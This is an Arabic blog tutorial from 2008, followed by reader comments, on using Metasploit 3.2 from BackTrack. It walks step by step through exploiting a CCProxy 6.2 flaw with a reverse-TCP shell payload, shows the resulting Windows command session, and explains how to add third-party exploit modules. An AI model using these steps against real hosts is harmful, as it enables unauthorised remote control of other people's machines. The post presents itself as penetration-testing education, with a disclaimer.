استخدام مشروع Metasploit و شرح استغلال ثغراته بالتفصيل

بدأ مشروع ثغرات Metasploit في عام 2003 تقريبا و منذ ذلك الوقت حتى يومنا هذا شهد المشروع تطوّرات عديدة و ملحوظة خصوصا بعد اطلاق الاصدار 3.0 في بداية سنة 2008, يحتوي مشروع Metasploit على عدد كبير من ثغرات الأنظمة و البرامج الجاهزة للاستغلال بالاضافة للعديد من الأدوات التي تساعدنا على اكتشاف ثغرات Buffer overflow و فحص الأنظمة و الشبكات أضف الى ذلك احتوائه على قاعدة بيانات Shellcode و Opcode تساعد مكتشفي الثغرات على برمجة و كتابة استغلالاتهم بكل سهولة. و في كل اصدار جديد يضاف الى المشروع ثغرات و أدوات جديدة تجعل من ميتاسبلويت واحدا من أقوى و أسهل مشاريع الثغرات الموجودة في وقتنا هذا…

لكل شيء محاسن و مساوء قوة مشروع ميتاسبلويت و سهولة استخدامه جعلت الكثيرين من الأطفال الذين يظنون أنفسهم Hackers يستخدمه لاختراق أجهزة الآخرين و التحكم بها بتنفيذ بضعة أوامر دون أي معرفة أو فهم بالثغرة, سببها, برمجتها أو حتى كيفية استغلالها و بصراحة ترددت كثيرا عند كتابة هذا الموضوع لأن الاختراق باستخدام مشروع ميتاسبلويت سهل جدا و احترافي لدرجة أننا قد نتمكن من اختراق جميع الأجهزة الموجودة معنا على الشبكة بسهولة و بتطبيق عدة أوامر فقط! و قبل أن أبدأ يجب معرفة أن الشرح للغرض العلمي فقط! و أنا لا أشجع أحد على تجربة ما ذكر هنا خارج نطاق شبكته الخاصة أو بدون اذن مسبق من مدير الشبكة و رغم محاولتي لتفصيل أغلب الخطوات المذكوره في الشرح الا أنه ليس موجه للمبتدئين أو للأشخاص الذين لا يملكون معرفة مسبقة بهذه الأمور و لن يتم التطرق لكيفية تنصيب المشروع على الجهاز فهذه الأشياء يجب أن تكون من البديهيات, سأستخدم سطر الأوامر بشكل أساسي و التطبيق سيكون على نظام Linux توزيعة BackTrack 3 على الاصدار 3.2 من مشروع ميتاسبلويت مع العلم من الممكن تطبيق بعض ما ذكر هنا على نظام ويندوز لكني لا أنصح بذلك!

نبدأ بفتح سطر الأوامر و من ثم الذهاب للمجلد الموجود به مشروع Metasploit في توزيعة BackTrack 3 سيكون المشروع في المسار التالي:

/pentest/exploits/framework3/

بعد ذلك نقوم بتشغيل سطر أوامر مشروع Metasploit بتنفيذ الأمر:

./msfconsole

أول ما يبدأ سطر أوامر Metasploit يعطينا معلومات عن حالة المشروع مثل الاصدار, عدد الثغرات الموجودة, عدد الأدوات و الـ Payloads و غيرها من الأمور الأخرى مايهمنها حاليا الثغرات فقط و هذا ما سأشرحه هنا. لنتمكن من استغلال ثغرة Metasploit هنالك بضعة خطوات يجب القيام بها, تختلف هذه الخطوات و الخيارات من ثغرة لأخرى الا أنها متشابهة بشكل عام. أول شيء علينا تحديد الثغرة التي نريد استغلالها بعد ذلك نحدد الخيارات الخاصة بها مثل الاصدار المصاب, نظام التشغيل, الاستغلال… ثم ننفذ الثغرة و نستخدمها حسب الاستغلال المحدد في الخيارات, يوجد الكثير من الأوامر التي يمكننا استخدامها في مشروع ميتاسبلويت لمعرفتها نقوم بتنفيذ الأمر التالي:

msf > help

ما يهمنا حاليا في استغلال الثغرات هي الأوامر المظللة في الصورة

msf > show exploits
msf > info exploit
msf > use exploit

نستخدم الأمر الأول لاظهار الثغرات الموجودة في المشروع أما الثاني لاظهار معلومات مفصلة عن الثغرة و مصادر خارجية عنها و الثالث لاستخدام الثغرة و تحديد خياراتها, أول شيء ننفذ الأمر الأول لاستعراض الثغرات الموجودة في المشروع

msf > show exploits


كما هو واضح تم اظهار عدد كبير من الثغرات و بجانب كل ثغرة معلومات بسيطة عن البرنامج/النظام و الاصدار المصاب و لاظهار معلومات مفصلة عن احدى الثغرات يكفي تنفيذ الأمر info , مثال على ذلك:

msf > info windows/proxy/ccproxy_telnet_ping

بعد تنفيذ الأمر السابق سيتم اظهار كافة المعلومات المتوفرة عن الثغرة الموجودة في برنامج CCProxy الاصدار 6.2 كما هو واضح في الصورة التالية:

قبل البدء باستخدام الثغرة نلاحظ الخيارات المتوفرة لها و كما قلت سابقا تختلف الخيارات من ثغرة لأخرى لكن في هذه الثغرة يوجد لدينا خيارين أساسيين الأول هو IP السيرفر الذي يستعمل برنامج CCProxy أما الثاني فهو المنفذ الذي يستخدمه البرنامج, أيضا لا ننسى تحديد النظام فهذا شيء مهم في ثغرات Metasploit خصوصا أنظمة Windows و اصداراتها و علينا معرفة أن استغلال هذه النوعية من الثغرات دقيق جدا و صعوبة استغلالها تكمن في دقتها فأي خيار خاطئ نحدده لن يمكننا من استغلال الثغرة بشكل صحيح, الأن ننفذ الأمر use لنستخدم الثغرة

msf > use windows/proxy/ccproxy_telnet_ping

و نستخدم الأمر show لاظهار خيارات الثغرة المتوفرة

msf  exploit(ccproxy_telnet_ping) > show options

نحدد الخيارات التي تناسبنا باستخدام الأمر set كما هو واضح من الصورة التالية:

أول شيء أظهرنا خيارات الثغرة باستخدام الأمر السابق ثم حددنا الخيار RHOST وهو IP الجهاز المستهدف و ذلك باستخدام الأمر:

msf  exploit(ccproxy_telnet_ping) > set RHOST 192.168.0.53

بالنسبة لي كان 192.168.0.53 و أبقيت الخيار RPORT نفسه 23 و هو المنفذ الذي يستخدمه برنامج CCProxy بشكل افتراضي و طبعا يمكن تغييره بحسب المنفذ المستخدم مثلا 34 باستخدام الأمر:

msf  exploit(ccproxy_telnet_ping) > set RPORT 34

بعد ذلك نقوم باظهار الأنظمة المتاحة باستخدام الأمر:

msf  exploit(ccproxy_telnet_ping) > show targets

نحدد الخيار 4 و هو نظام Windows XP SP2 – English بتنفيذ:

msf  exploit(ccproxy_telnet_ping) > set TARGET 4

أما الآن نظهر الاستغلالات المتاحة لهذه الثغرة باستخدام الأمر:

msf  exploit(ccproxy_telnet_ping) > show payloads

بالنسبة لي سأحدد الاستغلال windows/shell_reverse_tcp و يستخدم هذا الاستغلال لانشاء اتصال عكسي مع الجهاز الذي تم تنفيذ الثغرة عليه و نتحكم بالاتصالات من داخل مشروع ميتاسبلويت

msf  exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell_reverse_tcp

مع العلم من امكانية تحديد أي استغلال آخر نريد مثل تنفيذ أمر محدد على النظام, فتح منفذ و الاتصال به عن طريق أداة الـ Netcat, تحميل ملف و تشغيله أو حتى اضافة مستخدم جديد للنظام بصلاحيات Administrator, الأن ننفذ الأمر:

msf  exploit(ccproxy_telnet_ping) > show options

من جديد لمراجعة الخيارات المخصصة للثغرة أو لتعديل أي خيار مثل ما هو واضح بالصورة التالية:

يمكننا الأن تحديد خيارات الاستغلال مثل LHOST وهو IP جهازنا و LPORT هو المنفذ الذي سيتم الاتصال العكسي عن طريقه بتنفيذ الأمر:

msf  exploit(ccproxy_telnet_ping) > set LHOST 192.168.0.41

بالنسبة لي سأترك المنفذ 4444 نفسه دون تغيير, الأن لم يبقى علينا الا تطبيق الأمر

msf  exploit(ccproxy_telnet_ping) > exploit

لتنفيذ الثغرة و اذا كانت جميع الخيارات صحيحة سيتم تنفيذ الاستغلال و لنتمكن من مشاهدة الاتصالات العكسية الموجودة ننفذ الأمر:

msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.0.41:23443 -> 192.168.0.53:1032

و من ثم ننفذ الأمر التالي للاتصال باحدى الاتصالات المتاحة و في هذه الحالة هو رقم 1

msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32> 

مع العلم من امكانية تنفيذ أكثر من استغلال على أكثر من جهاز و الحصول على اتصالات أخرى.. أو القيام بهذه العملية بشكل أوتوماتيكي باستخدام احدى أدوات ميتاسبلويت الخطيرة و هي db_autopwn التي سأترك شرحها لموضوع آخر و طبعا يوجد الكثير من الاستغلالت الأخرى أترك تجربتها لكم.

كل ما ذكر سابقا مجرد مثال بسيط عن احدى ثغرات الميتاسبلويت لكن المشروع أقوى من ذلك بكثير و يوجد له استخدمات و ثغرات أخرى قوية قد أشرحها قريبا ان شاء الله, كل ماعليك الأن هو التجربة و اعادة المحاولة و لا تتوقع أن تتمكن من استغلال الثغرة من أول مرة أو ثاني مرة و لا حتى بعد 10 مرات كل مرة تجرب بها ثغرة ستكشف شيء جديد و خطأ قمت به و تذكر أن الدقة أهم شيء في استغلال ثغرات مشروع الميتاسبلويت فتحديد البرنامج و الاصدار المصاب أصعب من استغلال الثغرة المكتوبة له. من الجميل أيضا في مشروع ميتاسبلويت هو وجود واجهات رسومية جميلة لتسهيل التعامل مع المشروع و مخصصة للأشخاص الذين لايحبون استخدام سطر الأوامر

الواجهة الرسومية العادية GUI لتشغيلها ننفذ الأمر التالي داخل مجلد مشروع Metasploit

./msfgui

الواجهة التي تعمل من المتصفح لتشغيلها ننفذ الأمر التالي داخل مجلد المشروع

./msfweb

بعد ذلك نفتح المتصفح على الرابط

http://127.0.0.1:55555

ماذا بعد؟ لنفرض الآن أننا نريد استغلال ثغرة غير موجودة في مشروع الميتاسبلويت أحضرناها من موقع Milw0rm مثلا كيف سنضيفها؟ بصراحة وجدت الكثيرين لا يعرفون الطريقة رغم بساطتها و طبعا الشرح للينوكس و نصيحة للجميع ابتعدوا عن ويندوز في هذه الأمور, كما نعرف في الاصدار 2 السابق من مشروع Metasploit كان المشروع و ثغراته تبرمج بلغة Perl و تأتي بالامتداد pm أما في الاصدار 3 تم اعادة برمجة المشروع من جديد بلغة Ruby و تأتي الثغرة بالامتداد rb لذلك أول شيء علينا معرفة نوعية الثغرة هل هي للاصدار 3.0 أم لاصدارات سابقة 2.0 ؟ أتوقع أن الاختلاف بين الكود البرمجي بين اللغتين واضح جدا (مثال عن ثغرة للاصدار 2مثال عن ثغرة للاصدار 3) طبعا الشرح هنا موجه للاصدار 3.0 فهذا مانتكلم عنه في هذا الموضوع, اذا اطلعنا على كود الثغرة و ركزنا على السطر التالي:

class Exploits::Windows:: Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote

سنعرف أن الثغرة لنظام Windows مصنفة في Driver اسمها Intel_Centrino_2200BG_driver_probe الأن كل ماعلينا هو التوجه للمجلد الموجود في المسار التالي:

/home/USER/.msf3/

طبعا مع استبدال USER باسم المستخدم عندك في نظام لينوكس و اذا لم يكن المجلد موجود يمكننا انشاؤه ببساطة! أما اذا كنت تعمل بالمستخدم root كما في توزيعة BackTrack سيكون مسار المجلد:

/root/.msf3

بعد الدخول للمجلد ننشئ مجلد جديد باسم modules بداخله مجلد آخر باسم exploits ليصبح المسار النهائي بهذا الشكل:

/home/USER/.msf3/modules/exploits

الأن ننشئ بداخل مجلد exploits مجلد باسم windows بداخله مجلد driver بعد ذلك ندخل للمجلد driver و ننشئ ملف الثغرة باسم Intel_Centrino_2200BG_driver_probe متبوعا بالامتداد .rb و بداخله كود الثغرة كامل ليصبح مسار الثغرة النهائي:

/home/USER/.msf3/modules/exploits/windows/driver/Intel_Centrino_2200BG_driver_probe.rb

جميل جدا الأن كل ماعلينا هو تشغيل سطر أوامر مشروع Metasploit من جديد و ملاحظة عدد الثغرات قبل و بعد تطبيق ما سبق و سنلاحظ وجود الثغرة ضمن قائمة الثغرات الموجودة في المشروع!

أما اذا أردنا تحديث المشروع بشكل كامل و اضافة ثغرات و أدوات جديدة.. يكفي الدخول لمجلد المشروع و من ثم تطبيق الأمر التالي:

svn update

أخيرا يرجى في حال وجود أي خطأ في الشرح تنبيهي له مهما كان بسيط فالشرح طويل نوعا ما و رغم تجريب ماذكر و محاولتي لتجنب الوقع بأي خطأ فقد أسهو أحيانا, أتمنى أن يكون الموضوع قد نال اعجابكم و يرجى عدم نقل الموضوع دون الاشارة برابط للمصدر!

كتاب: Metasploit Toolkit for Penetration Testing Exploit Development and Vulnerability Research الكتاب يحتوي على شروحات متقدمة لاستخدامات مشروع الميتاسبلويت و برمجة ثغراته بالاضافة للعديد من الأمور الأخرى, اذا كنت مهتم بالحصول على نسخة من الكتاب يمكنك شراؤه من موقع أمازون من هذه الصفحة.

تحديث2: الاستخدامات المتقدمة لمشروع ميتاسبلويت

تحديث3: شروحات فيديو عن مشروع ميتاسبلويت

تحياتي, أخوكم Br4v3-H34r7.

أرسل الى صديق





أرسل الموضوع
twitter del.icio.us digg reddit stumbleupon facebook technorati google yahoo

التعليقات
  1. 16- Crazy Pc كتب بتاريخ: 11 Aug 2008 الساعة: 9:20 PM

    ماشاء الله
    شرح وافي منك اخي الكريم
    بس اتمنى البعض ما يطبقة في اخواننا
    واتمنى منك انك تواصل

    سامي

  2. 17- KING SABRI كتب بتاريخ: 11 Aug 2008 الساعة: 11:12 PM

    بطل يا عبدو
    أنا عارف أنك ما تحب تنزل شرح كامل للأختراق علشان الأطفال لكن إن شاء زوارك عاقلين

    بوركت يا بطل و الله وفقك و عوزدا أحمدا

    تحياتي يا بطل

  3. 18- Tokuo كتب بتاريخ: 12 Aug 2008 الساعة: 3:13 AM

    السلام عليكم

    أخي أنا اعرف أن لكل ثغرة خيارات تختلف عن الاخرى ولكني قد كتبت كل ثغرة بنفس الطريقة المطلوبة , إما أن تظهر هذه الرسالة
    [*] Started reverse handler
    [-] Exploit failed: The connection timed out

    أو هذه الرسالة

    [*] Started reverse handler
    [-] Exploit failed: The requested address is not valid in its context. – bind(2)

    وبالنسبة للثغرات هل هي قديمة ؟
    وموقع ميتاسبوليت لم يعد يضع ثغرات منذ 2005 , هل اصبح يدمجها بالبرنامج أم ماذا ؟
    وأنا آسف على الاسئلة الكثيرة

  4. 19- Br4v3-H34r7 كتب بتاريخ: 12 Aug 2008 الساعة: 1:59 PM

    Crazy Pc و KING SABRI أهلا بكم نورت المدونة بوجودكم…

    أخي Tokuo و الله ما ظنيت أنك تستخدم نفس الثغرة! أجل هي قديمة و للاصدار 6.2 من برنامج CCProxy و الاصدار الحالي 6.6 على ما أذكر.. أنا استخدمت هذه الثغرة لأنها بسيطة و خياراتها قليلة و لتوضيح كيفية التعامل مع المشروع فقط! و ليس لتجريبها, أصلا برنامج CCProxy غير مشهور و طبعا اذا جربتها على الاصدار 6.2 من برنامج CCProxy باذن الله ستعمل معك.. الحمد لله ماشرحت الثغرة الجديدة الموجودة بسيرفر الـ DNS BIND كان نصف المواقع طارت بالتوفيق…

  5. 20- skulk-fox كتب بتاريخ: 13 Aug 2008 الساعة: 2:28 AM

    شرح جميل جدا جزاك الله خير

    و ما عندي شي اقوله غير واصل ابداعك يا بطل

    اخوك باذن الله skulk-Fox

  6. 21- الهاكرز كتب بتاريخ: 13 Aug 2008 الساعة: 7:36 PM

    إذا كنت تضن نفسك هاكرز و نحن أطفال صغار نحسب أنفسنا هاكر
    فإن
    لو أملك منك 2 فسوف أستعمر العالم بأكمله
    ستجد الإبي بتاعتي يدل على أنني جزائري
    و هو يتغير كل 30 دقيقة
    حاول دخول جهازي الابتوب إذا كنت خاكر

  7. 22- Br4v3-H34r7 كتب بتاريخ: 13 Aug 2008 الساعة: 8:54 PM

    @skulk-fox: أنت أجمل أخي شكرا لتعليقك و أهلا بك في المدونة…

    @الهاكرز: على الرغم من أن الايميل و الموقع الذي أدخلته غير حقيقي الا أني نشرت تعليقك لأوضح بعض الأشياء.. أولا أنا لم أخص أحد بكلامي فببساطة الفعل هو الذي يدل على الشخص ان كان يستحق أن يقال عنه Hacker أما لا! و تعلم الهاكر و الاختراق من أجل المعرفة بالشيء و روح التحدي شيء و استخدامه لايذاء الآخرين و اختراق أجهزتهم شيء آخر, ثانيا لا أجد أي عبقرية اذا كان IP جهازك جزائري أو أي بلد آخر فحتى لو لم تكن تستخدم الانترنت من الجزائر.. يوجد اختراع اسمه بروكسي و آخر اسمه VPN و SSH Tunnels و 1000 طريقة غيرهم تمكن أي شخص من تغيير آيبي جهازه ببساطة و أيضا يجب أن تعرف أنا لا أخترق جهاز أحد و لست محتاج لذلك و أصلا لا أملك للقيام بهذه الأمور و اذا كنت تعتبر أن هذا هو الهاكر فاسمحلي أقلك أنت مخطئ تماما!

    ملاحظة: في المرة القادمة استعمل ايميل حقيقي و الا سأضطر آسفا لعدم السماح بنشر تعليقك!

  8. 23- Alpha_HuNtEr كتب بتاريخ: 16 Aug 2008 الساعة: 1:35 PM

    السلام عليكم
    شرح جميل بالرغم أني ما قرأته جيدا لكنه أفضل من الشروحات الموجودة في الساحة العربية
    أظن أن مشروع ميتاسبلويت لديه مستقبل زاهر خصوصا Anti Fronsic
    هناك كتاب اعجبني جدا ويشرح هذا المشروع بشكل مفصل اسمه
    Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research
    لذلك للذي أراد تعلمها بشكل مفصل وكامل أنصحه بهذا الكتاب طبعا لايستغني عن المستندات الخاصة بالمشروع .
    تسلم أخي القلب الشجاع

  9. 24- حلم اصبح حقيقه كتب بتاريخ: 16 Aug 2008 الساعة: 2:25 PM

    السلام عليكم ورحمة الله وبركاته

    الله يعطيك العافيه اخوي بس فيه حاجه لو تكرمت تشر حها لنا اضافة الثغرات في البرنامج

    لقيت مثلا ثغره في موقع سكيورتي ابي اضيفها للبرنامج وشلون

  10. 25- Br4v3-H34r7 كتب بتاريخ: 16 Aug 2008 الساعة: 4:25 PM

    @Alpha_HuNtEr: و عليكم السلام أخي.. صحيح للميتاسبلويت مستقبل زاهر ليس بالـ Anti-Forensics فقط بل بمشاريع أخرى كثيرة, الكتاب الذي ذكرته موجود عندي و هو رائع و مفصل و يحتوي على شروحات متقدمة للميتاسبلويت و برمجة ثغراتها, أهلا بك و بالتوفيق…

    @حلم اصبح حقيقه: و عليكم السلام.. بصراحة مالي عارف شو بدي جاوبك.. أنت قرأت الشرح أم لا ؟ الطريقة مذكورة و مشروحة بالتفصيل!

  11. 26- الفقير إلى الله .. كتب بتاريخ: 19 Aug 2008 الساعة: 5:06 PM

    السلآم عليكم ..

    آخي الكريم
    أشكرك على هذا الموضوع الجميل والشيق والنادر على مستوىآ المواقع العالميه
    واحب ان اقول
    بآرك الله فيك و زآد من علمك ..

    سؤالي : هل استعطيع تطبيق الشرح على نظام الوندوز اكس بي ؟
    أم أن هناك اختلاف في ذلك ؟

    واتمنى ان تضع لي أو لنا شرح مفصلاً لتطبيق الثغرات على النظام وندوز اكس بي .

    تحياتي

  12. 27- Br4v3-H34r7 كتب بتاريخ: 19 Aug 2008 الساعة: 5:54 PM

    و عليكم السلام.. العفو أخي و ان شاء الله يكون الموضوع نال اعجابك, بالنسبة لسؤالك كما قلت في سابقا يمكن تطبيق بعض ماذكر هنا على نظام ويندوز لكن بهذه الحالة ستطبق ماذكر اما من الواجهة الرسومية أو من المتصفح و بصراحة لم أجرب ذلك و لا أضمن شيء هناك. بالتوفيق…

  13. 28- ابوشافي كتب بتاريخ: 20 Aug 2008 الساعة: 8:34 AM

    اخ للأسف لا افهم في الهكر ان شاء الله اول نتعلم برمجه وبعدها يصير خير لاكن عندي سؤال : اذا عرفت للبرمجه هل اكون فهمت بعض الشيء في الهكر

  14. 29- Br4v3-H34r7 كتب بتاريخ: 20 Aug 2008 الساعة: 12:16 PM

    أخي بعبارة بسيطة لا يمكن للشخص أن يكون هاكر اذا لم يكن مبرمج و يعرف عدة لغات أيضا!

  15. 30- maximus كتب بتاريخ: 23 Aug 2008 الساعة: 2:11 AM

    ابدااااااااااااع ماشاء الله عليك وزادك علم ان شاء الله

الصفحات: « 1 [2] 3 4 5 6 7 8 9 » أظهر جميع التعليقات

عذراً.. لقد تم اغلاق التعليقات على هذا الموضوع!


أعلى الصفحة